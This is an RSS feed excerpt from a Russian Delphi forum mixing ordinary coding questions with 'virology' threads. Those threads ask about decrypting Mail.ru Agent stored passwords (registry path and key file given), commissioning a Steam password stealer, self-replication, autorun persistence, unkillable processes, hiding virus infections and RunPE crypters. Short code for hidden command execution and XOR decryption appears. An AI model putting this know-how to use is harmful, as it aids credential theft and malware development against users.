class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;function GetDosOutput(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CommandLine: string; Work: string = &apos;C:&amp;#92;&apos;&amp;#41;: string;&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;SA: TSecurityAttributes;&lt;br /&gt;&amp;nbsp;&amp;nbsp;SI: TStartupInfo;&lt;br /&gt;&amp;nbsp;&amp;nbsp;PI: TProcessInformation;&lt;br /&gt;&amp;nbsp;&amp;nbsp;StdOutPipeRead, StdOutPipeWrite: THandle;&lt;br /&gt;&amp;nbsp;&amp;nbsp;WasOK: Boolean;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Buffer: array&amp;#91;0..255] of Char;&lt;br /&gt;&amp;nbsp;&amp;nbsp;BytesRead: Cardinal;&lt;br /&gt;&amp;nbsp;&amp;nbsp;WorkDir: string;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Handle: Boolean;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;Result := &apos;&apos;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;with SA do begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nLength := SizeOf(SA&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bInheritHandle := True;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lpSecurityDescriptor := nil;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;CreatePipe(StdOutPipeRead, StdOutPipeWrite, @SA, 0&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;with SI do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FillChar(SI, SizeOf(SI&amp;#41;, 0&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cb := SizeOf(SI&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wShowWindow := SW_HIDE;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hStdInput := GetStdHandle(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;STD_INPUT_HANDLE&amp;#41;; // не переадресовывать stdinput&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hStdOutput := StdOutPipeWrite;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hStdError := StdOutPipeWrite;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WorkDir := Work;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Handle := CreateProcess(nil, PChar(&apos;cmd.exe /C &apos; + CommandLine&amp;#41;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nil, nil, True, 0, nil,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PChar(WorkDir&amp;#41;, SI, PI&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(StdOutPipeWrite&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Handle then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repeat&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WasOK := ReadFile(StdOutPipeRead, Buffer, 255, BytesRead, nil&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if BytesRead &gt; 0 then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Buffer&amp;#91;BytesRead] := #0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + Buffer;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;until not WasOK or (BytesRead = 0&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WaitForSingleObject(PI.hProcess, INFINITE&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;finally&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(PI.hThread&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(PI.hProcess&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;finally&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(StdOutPipeRead&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;end;&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>tatsu</dc:creator>
<guid>https://delfcode.ru/forum/29-1462-1</guid>
</item>
<item>
<title>Delphi в Fasm XOR</title>
<link>https://delfcode.ru/forum/29-1459-1</link>
<pubDate>Tue, 29 Dec 2015 19:32:26 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>&lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerK66DLg&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerK66DLg&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerK66DLg&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerK66DLg&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerK66DLg&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerK66DLg&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerK66DLg&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerK66DLg&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerK66DLg&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;function DecryptByte(nByte:byte; key:string&amp;#41;:byte;&lt;br /&gt;var&lt;br /&gt;i:integer;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;for I := 1 to length(key&amp;#41; do&lt;br /&gt; begin&lt;br /&gt; result := ord(nByte&amp;#41; xor ord(key&amp;#91;i]&amp;#41;-(i xor ord(key&amp;#91;i]&amp;#41;&amp;#41;;&lt;br /&gt; end;&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;procedure DecryptByteArray2(input:array of byte; var output:array of byte; key:string&amp;#41;;&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;i,Delta,Res:integer;&lt;br /&gt;&amp;nbsp;&amp;nbsp;c,x:integer;&lt;br /&gt;begin&lt;br /&gt; for i:=0 to Length(input&amp;#41;-1 do&lt;br /&gt; begin&lt;br /&gt; output&amp;#91;i] := DecryptByte(input&amp;#91;i], key&amp;#41;;&lt;br /&gt; end;&lt;br /&gt;end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;&lt;br /&gt;&lt;br /&gt;DecryptByteArray2(Массив_байтов; Результат_дешифровки_в_массиве; ключ_шифрования);&lt;br /&gt;&lt;br /&gt;Перепишите пожалуйста эти функции под fasm</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1459-1</guid>
</item>
<item>
<title>События компонентов в консольном приложении</title>
<link>https://delfcode.ru/forum/29-1458-1</link>
<pubDate>Mon, 21 Dec 2015 14:31:45 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: IRC в консольном приложении&lt;br /&gt;Автор темы: tatsu&lt;br /&gt;Автор последнего сообщения: ms301&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Всем привет, пилю консольный IRC-клиент. Столкнулся с проблемой - описание событий.&lt;br /&gt;При наличии формы она является классом и процедуры, назначенные на обработку событий, декларируются в описании класса, как его методы.&lt;br /&gt;Однако в консольном приложении для использования компонента я добавляю его в перечень uses.&lt;br /&gt;Подскажите, как при этом нужно обрабатывать события компонента?&lt;br /&gt;С вызовом методов - ничего сложного, обращаюсь через переменную экземпляра класса, а вот с событиями - ляпсус вышел.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>tatsu</dc:creator>
<guid>https://delfcode.ru/forum/29-1458-1</guid>
</item>
<item>
<title>Обьем exe в XE3</title>
<link>https://delfcode.ru/forum/29-1338-1</link>
<pubDate>Mon, 21 Dec 2015 06:19:01 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: toorook&lt;br /&gt;Автор последнего сообщения: ms301&lt;br /&gt;Количество ответов: 9</description>
<content:encoded>Всем Hi. Итак, до вчерашнего для работал в XE, все гуд. Сегодня поставил XE3, стал компилировать один и тот же код. Почему в XE мой exe весил 840kb, а в XE3 1,63mb ??? &lt;br /&gt; Я сильно разочарован... Может есть возможность сделать его меньше, без упаковщиков? Может где-то можно настроить это?</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>toorook</dc:creator>
<guid>https://delfcode.ru/forum/29-1338-1</guid>
</item>
<item>
<title>Помогите разобраться</title>
<link>https://delfcode.ru/forum/29-1457-1</link>
<pubDate>Tue, 15 Dec 2015 10:00:43 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Работа с компонентом zipforge&lt;br /&gt;Автор темы: Born&lt;br /&gt;Автор последнего сообщения: ms301&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Здравствуйте.&lt;br /&gt;Работаю с компонентом ZipForge.&lt;br /&gt;Компонент архивирует файлы,как оп маске так и по имени.&lt;br /&gt;Но оп маске он только одно расширение находит и архивирует.&lt;br /&gt;Вот пример кода:&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;procedure TForm1.Button1Click(Sender: TObject&amp;#41;;&lt;br /&gt;begin&lt;br /&gt;ZipForge1.BaseDir:=&apos;D:&amp;#92;&apos;;&lt;br /&gt;ZipForge1.FileName:=(&apos;D:&amp;#92;TestRar.zip&apos;&amp;#41;;&lt;br /&gt;ZipForge1.OpenArchive(fmCreate&amp;#41;;&lt;br /&gt;ZipForge1.BaseDir:=&apos;D:&amp;#92;&apos;;&lt;br /&gt;ZipForge1.AddFiles(&apos;*.txt&apos;&amp;#41;;//Если сюда ещё добавить маску &apos;*.pdf&apos; тогда он в обще не архивирует .&lt;br /&gt;ZipForge1.CloseArchive;&lt;br /&gt;showmessage(&apos;Запаковано&apos;&amp;#41;;&lt;br /&gt;&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;br /&gt;Есть у этого компонента свойства FileMask ,добавлял расширения но результата ноль.&lt;br /&gt;Помогите разобраться с компонентом...</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>Born</dc:creator>
<guid>https://delfcode.ru/forum/29-1457-1</guid>
</item>
<item>
<title>Mail.ru Agent расшифровка паролей</title>
<link>https://delfcode.ru/forum/10-1453-1</link>
<pubDate>Wed, 18 Nov 2015 17:24:46 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: VANS-SOFT&lt;br /&gt;Автор последнего сообщения: VANS-SOFT&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Пароли в реестре по адресу: HCU&amp;#92;Software&amp;#92;Mail.Ru&amp;#92;Agent&amp;#92;magent_logins{N} где {N} зависит от версии агента и принимает значения 2 или 3.&lt;br /&gt;Ключ шифрования тута: C:&amp;#92;Users&amp;#92;VANS-SOFT&amp;#92;AppData&amp;#92;Roaming&amp;#92;Mra&amp;#92;Update&amp;#92;ver.txt (win7)&lt;br /&gt;Алгоритм шифрования: blowfish, режим не известен.&lt;br /&gt;&lt;br /&gt;Использую DCPCrypt под это дело, но MD5 пароля получить не могу т.к. по не ведомой мне причине выводиться разная ересь. Режим шифрования ECB или CBC я не знаю.&lt;br /&gt;&lt;br /&gt;Нужна помощь в решение данного вопроса. мб есть наработки у кого то?</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>VANS-SOFT</dc:creator>
<guid>https://delfcode.ru/forum/10-1453-1</guid>
</item>
<item>
<title>Копирование во все папки</title>
<link>https://delfcode.ru/forum/29-1452-1</link>
<pubDate>Thu, 12 Nov 2015 18:18:35 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: virusik83&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Может кто подскажет код , нужно чтоб программа копировала себя во все папки на пк.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>virusik83</dc:creator>
<guid>https://delfcode.ru/forum/29-1452-1</guid>
</item>
<item>
<title>ВОЗМОЖНО?</title>
<link>https://delfcode.ru/forum/29-1401-1</link>
<pubDate>Mon, 02 Nov 2015 16:05:07 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Born&lt;br /&gt;Автор последнего сообщения: MAS&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>Здравствуйте. &lt;br /&gt; Вообщем есть исходник запуска безопасного режима.. &lt;br /&gt; Исходник рабочий. &lt;br /&gt;&lt;br /&gt; Собственно вопрос:Если в исходник добавить код который будет добавлять программу в ауторан. &lt;br /&gt; При запуске программы запустится безопасный режим,программа добавится в ауторан без прав админа? &lt;br /&gt; Я имею виду ветку HLKM.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>Born</dc:creator>
<guid>https://delfcode.ru/forum/29-1401-1</guid>
</item>
<item>
<title>Написать стиллер паролей от Steam</title>
<link>https://delfcode.ru/forum/10-1449-1</link>
<pubDate>Sun, 01 Nov 2015 14:53:44 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Slash&lt;br /&gt;Автор последнего сообщения: Slash&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Ребята, раньше был файл ClientRegistry.blob в котором хранился пароль, сейчас Valve что-то поменяли и структура хранения пароля видимо другая. Подкиньте код или напишите для человека программу платно, контакты дам. Нужно срочно</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>Slash</dc:creator>
<guid>https://delfcode.ru/forum/10-1449-1</guid>
</item>
<item>
<title>if &lt;50 then</title>
<link>https://delfcode.ru/forum/29-1450-1</link>
<pubDate>Sun, 01 Nov 2015 12:59:11 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: MAS&lt;br /&gt;Автор последнего сообщения: Гнилушка&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Привет всем, давно тут не появлялся, &lt;br /&gt;я хочу написать код проверки числа, например: если ровно 50 или больше (число в переменной string) то нечего не делает, если меньше выводим messagbox , я знаю как сделать , но я каждые цифры расписываю, так не удобно, так&lt;br /&gt;&lt;br /&gt; if (a &lt; b) and (a &lt; c) then&lt;br /&gt; l := a&lt;br /&gt; else if (b &lt; a) and (b &lt; c) then&lt;br /&gt;&lt;br /&gt;Объясните покажите &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt;</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>MAS</dc:creator>
<guid>https://delfcode.ru/forum/29-1450-1</guid>
</item>
<item>
<title>Как в hllp вирусе неизменять иконки жертв?</title>
<link>https://delfcode.ru/forum/10-659-1</link>
<pubDate>Sat, 31 Oct 2015 20:32:57 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: заражаемые файлы палятся&lt;br /&gt;Автор темы: XDXDXD&lt;br /&gt;Автор последнего сообщения: Гнилушка&lt;br /&gt;Количество ответов: 9</description>
<content:encoded>заражаемые файлы палятся. Как неизменять иконки заражаемых файлов?</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>XDXDXD</dc:creator>
<guid>https://delfcode.ru/forum/10-659-1</guid>
</item>
<item>
<title>Dll + Exe</title>
<link>https://delfcode.ru/forum/29-1412-1</link>
<pubDate>Thu, 22 Oct 2015 13:13:45 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Wine&lt;br /&gt;Автор последнего сообщения: Slash&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>В общем есть .dll файл и .exe. Как можно объединить эти файлы в один исполняемый, что бы при запуске он извлекал из себя эту dll? Заранее благодарю.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>Wine</dc:creator>
<guid>https://delfcode.ru/forum/29-1412-1</guid>
</item>
<item>
<title>НЕубиваемый процесс</title>
<link>https://delfcode.ru/forum/10-478-1</link>
<pubDate>Sat, 10 Oct 2015 13:17:13 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: cool1&lt;br /&gt;Автор последнего сообщения: Zagadohnik37&lt;br /&gt;Количество ответов: 31</description>
<content:encoded>Как создать неубиваемый процесс? Например все вы знаете антивирус ESS (Eset Samrt Security) да и обычный НОД 32 если вы в Диспетчере задач Windows захотите убить этот процесс у вас не получиться! Как это сделать?</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>cool1</dc:creator>
<guid>https://delfcode.ru/forum/10-478-1</guid>
</item>
<item>
<title>Удаление программы Trustedinstaller</title>
<link>https://delfcode.ru/forum/10-1074-1</link>
<pubDate>Sun, 04 Oct 2015 17:21:43 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: ...&lt;br /&gt;Автор темы: Swan&lt;br /&gt;Автор последнего сообщения: aslonik&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>Как можно её удалить, у кого идеи есть?&lt;p&gt;&lt;b&gt;Добавлено&lt;/b&gt; (22.06.2013, 16:00)&lt;br /&gt;---------------------------------------------&lt;br /&gt;Или как можно удалить hal.dll, что бы эта программа не блокировала?</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>Swan</dc:creator>
<guid>https://delfcode.ru/forum/10-1074-1</guid>
</item>
<item>
<title>reverse dns lookup</title>
<link>https://delfcode.ru/forum/29-1425-1</link>
<pubDate>Sun, 04 Oct 2015 12:53:28 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: отжать список доменов на IP&lt;br /&gt;Автор темы: black_catt&lt;br /&gt;Автор последнего сообщения: black_catt&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Подскажите как сделать, куда копать? &lt;br /&gt; без обращений к посторонним сервисам, &lt;br /&gt; Я так понимаю что нужно свой ДНС сервер напрячь 53й порт, удп протокол &lt;br /&gt; но что спросить чтобы я ему скормил ip а он мне отдал список доменов подвязаных к ней...</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>black_catt</dc:creator>
<guid>https://delfcode.ru/forum/29-1425-1</guid>
</item>
<item>
<title>RunPE криптер эффективность?</title>
<link>https://delfcode.ru/forum/29-1424-1</link>
<pubDate>Mon, 21 Sep 2015 14:53:26 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Вот сижу и думаю. Многие криптеры используют RunPE - тобишь запуск файлов из памяти. Ясное дело что сперва все эти файлы шифруется всякими des, RC4, xor алгоритмами, но - действительно ли это эффективный метод? Почему антивирусы все еще не поставят какую нибудь заглушку на createprocess или createthread в suspend моде? Они же могут мониторить все исходящие апи вызовы? Вообще-м вопрос - это правда что runpe криптеры обходят так называемые проактивные защиты? И кто мне может сказать разницу меж эмуляцией и проактивной защитой? Антон, жду твоего коммена.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1424-1</guid>
</item>
<item>
<title>Парсинг txt файла</title>
<link>https://delfcode.ru/forum/29-1422-1</link>
<pubDate>Fri, 18 Sep 2015 09:55:08 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: HTTqp&lt;br /&gt;Автор последнего сообщения: ramzeswr&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Подскажите как спарсить файл txt при помощи winapi Delphi. Пример, есть файл со следующими данными &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; Nickname{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;d4rkzy&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; Pass&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hgfh456uh&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; url {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;https://******.net/****.html&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br 